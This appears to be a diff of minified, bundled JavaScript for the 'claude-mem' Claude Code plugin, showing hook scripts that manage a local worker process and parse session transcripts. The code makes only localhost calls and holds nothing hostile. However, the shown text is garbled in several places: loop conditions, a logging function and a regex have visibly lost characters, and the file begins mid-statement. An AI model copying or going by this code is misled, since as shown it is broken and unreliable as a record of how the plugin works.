Date().toISOString().slice(0,10);return O(B,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),s=Date.now()-e,o=Math.floor(s/1e3),i=Math.floor(o/60),a=Math.floor(i/60),u=Math.floor(a/24);return u>0?`${u}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${o%60}s`:`${o}s`}};function E(n={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:s}=n,o=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${o}${i} +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return T(G,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function k(o={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=o,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} `;return a+=`To restart the worker: `,a+=`1. Exit Claude Code completely `,a+=`2. Run: claude-mem restart `,a+="3. Restart Claude Code",e&&(a+=` -If that doesn't work, try: /troubleshoot`),s&&(a=`Worker Error: ${s} +If that doesn't work, try: /troubleshoot`),n&&(a=`Worker Error: ${n} -${a}`),a}var Y=C.join(Ot(),".claude","plugins","marketplaces","thedotmack"),X=R(h.HEALTH_CHECK),y=null;function d(){if(y!==null)return y;let n=C.join(p.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=p.loadFromFile(n);return y=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),y}async function I(){try{let n=d();return(await fetch(`http://127.0.0.1:${n}/api/readiness`,{signal:AbortSignal.timeout(X)})).ok}catch(n){return c.debug("SYSTEM","Worker readiness check failed",{error:n instanceof Error?n.message:String(n),errorType:n?.constructor?.name}),!1}}function Dt(){try{let n=C.join(Y,"package.json");return JSON.parse(yt(n,"utf-8")).version}catch(n){return c.debug("SYSTEM","Failed to read plugin version",{error:n instanceof Error?n.message:String(n)}),null}}async function Mt(){try{let n=d(),t=await fetch(`http://127.0.0.1:${n}/api/version`,{signal:AbortSignal.timeout(X)});return t.ok?(await t.json()).version:null}catch(n){return c.debug("SYSTEM","Failed to get worker version",{error:n instanceof Error?n.message:String(n)}),null}}async function G(){let n=Dt(),t=await Mt();!n||!t||n!==t&&(c.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:n,workerVersion:t}),await new Promise(e=>setTimeout(e,R(h.PRE_RESTART_SETTLE_DELAY))),await A.restart(d()),await new Promise(e=>setTimeout(e,1e3)),await I()||c.error("SYSTEM","Worker failed to restart after version mismatch",{expectedVersion:n,runningVersion:t,port:d()}))}async function Rt(){let n=p.get("CLAUDE_MEM_DATA_DIR"),t=C.join(n,".pm2-migrated");if(Ct(n,{recursive:!0}),!wt(t))try{At("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),V(t,new Date().toISOString(),"utf-8"),c.debug("SYSTEM","PM2 cleanup completed and marked")}catch{V(t,new Date().toISOString(),"utf-8")}let e=d(),r=await A.start(e);return r.success||c.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:Y}),r.success}async function J(){if(await I()){await G();return}if(!await Rt()){let e=d();throw new Error(E({port:e,customPrefix:`Worker service failed to start on port ${e}.`}))}for(let e=0;e<5;e++)if(await new Promise(r=>setTimeout(r,500)),await I()){await G();return}let t=d();throw c.error("SYSTEM","Worker started but not responding to health checks"),new Error(E({port:t,customPrefix:`Worker service started but is not responding on port ${t}.`}))}function q(n){throw n.cause?.code==="ECONNREFUSED"||n.code==="ConnectionRefused"||n.name==="TimeoutError"||n.message?.includes("fetch failed")||n.message?.includes("Unable to connect")?new Error(E()):n}function z(n,t,e){c.error("HOOK",`${e.operation} failed`,{status:n.status,...e},t);let r=e.toolName?`Failed ${e.operation} for ${e.toolName}: ${E()}`:`${e.operation} failed: ${E()}`;throw new Error(r)}import{readFileSync as Lt,existsSync as Pt}from"fs";function v(n,t,e=!1){if(!n||!Pt(n))return c.happyPathError("PARSER","Transcript path missing or file does not exist",void 0,{transcriptPath:n,role:t},""),"";try{let r=Lt(n,"utf-8").trim();if(!r)return c.happyPathError("PARSER","Transcript file exists but is empty",void 0,{transcriptPath:n,role:t},""),"";let s=r.split(` -`),o=!1;for(let i=s.length-1;i>=0;i--)try{let a=JSON.parse(s[i]);if(a.type===t&&(o=!0,a.message?.content)){let u="",l=a.message.content;if(typeof l=="string")u=l;else if(Array.isArray(l))u=l.filter(m=>m.type==="text").map(m=>m.text).join(` -`);else{c.error("PARSER","Unknown message content format",{role:t,transcriptPath:n,contentType:typeof l,content:l},new Error("Message content is neither string nor array"));continue}return e&&(u=u.replace(/[\s\S]*?<\/system-reminder>/g,""),u=u.replace(/\n{3,}/g,` +${a}`),a}var V=D.join(Et(),".claude","plugins","marketplaces","thedotmack"),X=L(_.HEALTH_CHECK),A=null;function d(){if(A!==null)return A;let o=D.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(o);return A=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),A}async function I(){let o=d();return(await fetch(`http://127.0.0.1:${o}/api/readiness`,{signal:AbortSignal.timeout(X)})).ok}function wt(){let o=D.join(V,"package.json");return JSON.parse(Tt(o,"utf-8")).version}async function At(){let o=d(),t=await fetch(`http://127.0.0.1:${o}/api/version`,{signal:AbortSignal.timeout(X)});if(!t.ok)throw new Error(`Failed to get worker version: ${t.status}`);return(await t.json()).version}async function B(){let o=wt(),t=await At();if(o!==t&&(g.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:o,workerVersion:t}),await new Promise(e=>setTimeout(e,L(_.PRE_RESTART_SETTLE_DELAY))),await O.restart(d()),await new Promise(e=>setTimeout(e,1e3)),!await I()))throw new Error(`Worker failed to restart after version mismatch. Expected ${o}, was running ${t}`)}async function Dt(){let o=l.get("CLAUDE_MEM_DATA_DIR"),t=D.join(o,".pm2-migrated");Ot(o,{recursive:!0}),_t(t)||(St("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),ht(t,new Date().toISOString(),"utf-8"),g.debug("SYSTEM","PM2 cleanup completed and marked"));let e=d(),r=await O.start(e);return r.success||g.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:V}),r.success}async function Y(){let o=!1;try{o=await I()}catch{o=!1}if(o){await B();return}if(!await Dt()){let r=d();throw new Error(k({port:r,customPrefix:`Worker service failed to start on port ${r}.`}))}for(let r=0;r<5;r++){await new Promise(n=>setTimeout(n,500));try{if(await I()){await B();return}}catch{}}let e=d();throw g.error("SYSTEM","Worker started but not responding to health checks"),new Error(k({port:e,customPrefix:`Worker service started but is not responding on port ${e}.`}))}import{readFileSync as Mt,existsSync as Ct}from"fs";function v(o,t,e=!1){if(!o||!Ct(o))throw new Error(`Transcript path missing or file does not exist: ${o}`);let r=Mt(o,"utf-8").trim();if(!r)throw new Error(`Transcript file exists but is empty: ${o}`);let n=r.split(` +`),s=!1;for(let i=n.length-1;i>=0;i--){let a=JSON.parse(n[i]);if(a.type===t&&(s=!0,a.message?.content)){let c="",u=a.message.content;if(typeof u=="string")c=u;else if(Array.isArray(u))c=u.filter(m=>m.type==="text").map(m=>m.text).join(` +`);else throw new Error(`Unknown message content format in transcript. Type: ${typeof u}`);return e&&(c=c.replace(/[\s\S]*?<\/system-reminder>/g,""),c=c.replace(/\n{3,}/g,` -`).trim()),(!u||u.trim()==="")&&c.happyPathError("PARSER","Found message but content is empty after processing",void 0,{role:t,transcriptPath:n,msgContentType:typeof l,stripSystemReminders:e},""),u}}catch{continue}o||c.happyPathError("PARSER","No message found for role in transcript",void 0,{role:t,transcriptPath:n,totalLines:s.length},"")}catch(r){c.error("HOOK","Failed to read transcript",{transcriptPath:n},r)}return""}async function bt(n){if(await J(),!n)throw new Error("summaryHook requires input");let{session_id:t}=n,e=d();if(!n.transcript_path)throw new Error(`Missing transcript_path in Stop hook input for session ${t}`);let r=v(n.transcript_path,"user"),s=v(n.transcript_path,"assistant",!0);c.dataIn("HOOK","Stop: Requesting summary",{workerPort:e,hasLastUserMessage:!!r,hasLastAssistantMessage:!!s});let o=null;try{let i=await fetch(`http://127.0.0.1:${e}/api/sessions/summarize`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,last_user_message:r,last_assistant_message:s}),signal:AbortSignal.timeout(h.DEFAULT)});if(!i.ok){let a=await i.text();z(i,a,{hookName:"summary",operation:"Summary generation",sessionId:t,port:e})}c.debug("HOOK","Summary request sent successfully")}catch(i){o=i,q(i)}finally{try{let i=await fetch(`http://127.0.0.1:${e}/api/processing`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({isProcessing:!1}),signal:AbortSignal.timeout(2e3)});i.ok||c.warn("HOOK","Failed to stop spinner",{status:i.status})}catch(i){c.warn("HOOK","Could not stop spinner",{error:i.message})}}if(o)throw o;console.log(N)}var $="";Q.on("data",n=>$+=n);Q.on("end",async()=>{let n=$?JSON.parse($):void 0;await bt(n)}); +`).trim()),c}}if(!s)throw new Error(`No message found for role '${t}' in transcript: ${o}`);return""}async function Lt(o){if(await Y(),!o)throw new Error("summaryHook requires input");let{session_id:t}=o,e=d();if(!o.transcript_path)throw new Error(`Missing transcript_path in Stop hook input for session ${t}`);let r=v(o.transcript_path,"user"),n=v(o.transcript_path,"assistant",!0);g.dataIn("HOOK","Stop: Requesting summary",{workerPort:e,hasLastUserMessage:!!r,hasLastAssistantMessage:!!n});let s=await fetch(`http://127.0.0.1:${e}/api/sessions/summarize`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({claudeSessionId:t,last_user_message:r,last_assistant_message:n}),signal:AbortSignal.timeout(_.DEFAULT)});if(!s.ok)throw new Error(`Summary generation failed: ${s.status}`);g.debug("HOOK","Summary request sent successfully"),console.log(x)}var $="";J.on("data",o=>$+=o);J.on("end",async()=>{let o;try{o=$?JSON.parse($):void 0}catch(t){throw new Error(`Failed to parse hook input: ${t instanceof Error?t.message:String(t)}`)}await Lt(o)}); diff --git a/plugin/scripts/user-message-hook.js b/plugin/scripts/user-message-hook.js index 282b2607..6d4f622a 100755 --- a/plugin/scripts/user-message-hook.js +++ b/plugin/scripts/user-message-hook.js @@ -1,22 +1,22 @@ #!/usr/bin/env bun -import{basename as Ct}from"path";import D from"path";import{homedir as Et}from"os";import{spawnSync as St}from"child_process";import{existsSync as _t,writeFileSync as B,readFileSync as ht,mkdirSync as Tt}from"fs";import{readFileSync as Q,writeFileSync as Z,existsSync as tt}from"fs";import{join as et}from"path";import{homedir as rt}from"os";var q=["bugfix","feature","refactor","discovery","decision","change"],z=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var U=q.join(","),$=z.join(",");var l=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:et(rt(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:U,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:$,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!tt(t))return this.getAllDefaults();let e=Q(t,"utf-8"),r=JSON.parse(e),n=r;if(r.env&&typeof r.env=="object"){n=r.env;try{Z(t,JSON.stringify(n,null,2),"utf-8"),u.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(i){u.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},i)}}let s={...this.DEFAULTS};for(let i of Object.keys(this.DEFAULTS))n[i]!==void 0&&(s[i]=n[i]);return s}catch(e){return u.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};var M=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(M||{}),L=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=M[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),i=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${i}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(E=` {${Object.entries(v).map(([X,J])=>`${X}=${J}`).join(", ")}}`)}let S=`[${i}] [${a}] [${c}] ${f}${r}${E}${d}`;t===3?console.error(S):console.log(S)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let f=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),d=f?`${f[1].split("/").pop()}:${f[2]}`:"unknown",E={...r,location:d};return this.warn(t,`[HAPPY-PATH] ${e}`,E,n),s}},u=new L;var A={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5},x={SUCCESS:0,FAILURE:1,USER_MESSAGE_ONLY:3};function b(o){return process.platform==="win32"?Math.round(o*A.WINDOWS_MULTIPLIER):o}import{existsSync as R,readFileSync as ut,writeFileSync as lt,unlinkSync as pt,mkdirSync as H}from"fs";import{createWriteStream as gt}from"fs";import{join as h}from"path";import{spawn as ft,spawnSync as mt}from"child_process";import{homedir as dt}from"os";import{join as g,dirname as nt,basename as Wt}from"path";import{homedir as ot}from"os";import{fileURLToPath as st}from"url";function it(){return typeof __dirname<"u"?__dirname:nt(st(import.meta.url))}var Vt=it(),p=l.get("CLAUDE_MEM_DATA_DIR"),P=process.env.CLAUDE_CONFIG_DIR||g(ot(),".claude"),Gt=g(p,"archives"),Kt=g(p,"logs"),Yt=g(p,"trash"),Xt=g(p,"backups"),Jt=g(p,"settings.json"),qt=g(p,"claude-mem.db"),zt=g(p,"vector-db"),Qt=g(P,"settings.json"),Zt=g(P,"commands"),te=g(P,"CLAUDE.md");import{spawnSync as at}from"child_process";import{existsSync as ct}from"fs";import{join as N}from"path";import{homedir as W}from"os";function y(){let o=process.platform==="win32";try{if(at("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=o?[N(W(),".bun","bin","bun.exe")]:[N(W(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(ct(e))return e;return null}function F(){return y()!==null}var _=h(p,"worker.pid"),j=h(p,"logs"),k=h(dt(),".claude","plugins","marketplaces","thedotmack"),T=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};H(j,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=h(k,"plugin","scripts",e);if(!R(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return F()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=y();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let i=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(k),f=this.escapePowerShellString(e),E=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${i}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${f}' -RedirectStandardError '${f}.err' -PassThru | Select-Object -ExpandProperty Id`,S=mt("powershell",["-Command",E],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(S.status!==0)return{success:!1,error:`PowerShell spawn failed: ${S.stderr?.toString()||"unknown error"}`};let w=parseInt(S.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let i=ft(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:k}),a=gt(e,{flags:"a"});return i.stdout?.pipe(a),i.stderr?.pipe(a),i.unref(),i.pid?(this.writePidFile({pid:i.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(i.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=h(p,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!R(_))return null;let t=ut(_,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:_}),null}}static writePidFile(t){H(p,{recursive:!0}),lt(_,JSON.stringify(t,null,2))}static removePidFile(){try{R(_)&&pt(_)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",i=s?r*2:r;for(;Date.now()-n(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(C||{}),M=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=u.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=C[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),o=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${o}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(d=` {${Object.entries($).map(([J,q])=>`${J}=${q}`).join(", ")}}`)}let _=`[${o}] [${a}] [${c}] ${g}${r}${d}${E}`;t===3?console.error(_):console.log(_)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let g=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),E=g?`${g[1].split("/").pop()}:${g[2]}`:"unknown",d={...r,location:E};return this.warn(t,`[HAPPY-PATH] ${e}`,d,n),s}},f=new M;var O={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5},N={SUCCESS:0,FAILURE:1,USER_MESSAGE_ONLY:3};function L(i){return process.platform==="win32"?Math.round(i*O.WINDOWS_MULTIPLIER):i}import{existsSync as R,readFileSync as ct,writeFileSync as ut,unlinkSync as lt,mkdirSync as G}from"fs";import{createWriteStream as pt}from"fs";import{join as h}from"path";import{spawn as gt,spawnSync as ft}from"child_process";import{homedir as mt}from"os";import{join as p,dirname as rt,basename as Ht}from"path";import{homedir as nt}from"os";import{fileURLToPath as st}from"url";function ot(){return typeof __dirname<"u"?__dirname:rt(st(import.meta.url))}var Vt=ot(),l=u.get("CLAUDE_MEM_DATA_DIR"),P=process.env.CLAUDE_CONFIG_DIR||p(nt(),".claude"),Xt=p(l,"archives"),Yt=p(l,"logs"),Jt=p(l,"trash"),qt=p(l,"backups"),zt=p(l,"modes"),Qt=p(l,"settings.json"),Zt=p(l,"claude-mem.db"),te=p(l,"vector-db"),ee=p(P,"settings.json"),re=p(P,"commands"),ne=p(P,"CLAUDE.md");import{spawnSync as it}from"child_process";import{existsSync as at}from"fs";import{join as W}from"path";import{homedir as F}from"os";function b(){let i=process.platform==="win32";try{if(it("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=i?[W(F(),".bun","bin","bun.exe")]:[W(F(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(at(e))return e;return null}function H(){return b()!==null}var S=h(l,"worker.pid"),j=h(l,"logs"),y=h(mt(),".claude","plugins","marketplaces","thedotmack"),T=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};G(j,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=h(y,"plugin","scripts",e);if(!R(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return H()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=b();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let o=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(y),g=this.escapePowerShellString(e),d=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${o}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${g}' -RedirectStandardError '${g}.err' -PassThru | Select-Object -ExpandProperty Id`,_=ft("powershell",["-Command",d],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(_.status!==0)return{success:!1,error:`PowerShell spawn failed: ${_.stderr?.toString()||"unknown error"}`};let w=parseInt(_.stdout.toString().trim(),10);return isNaN(w)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:w,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(w,r))}else{let o=gt(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:y}),a=pt(e,{flags:"a"});return o.stdout?.pipe(a),o.stderr?.pipe(a),o.unref(),o.pid?(this.writePidFile({pid:o.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(o.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return 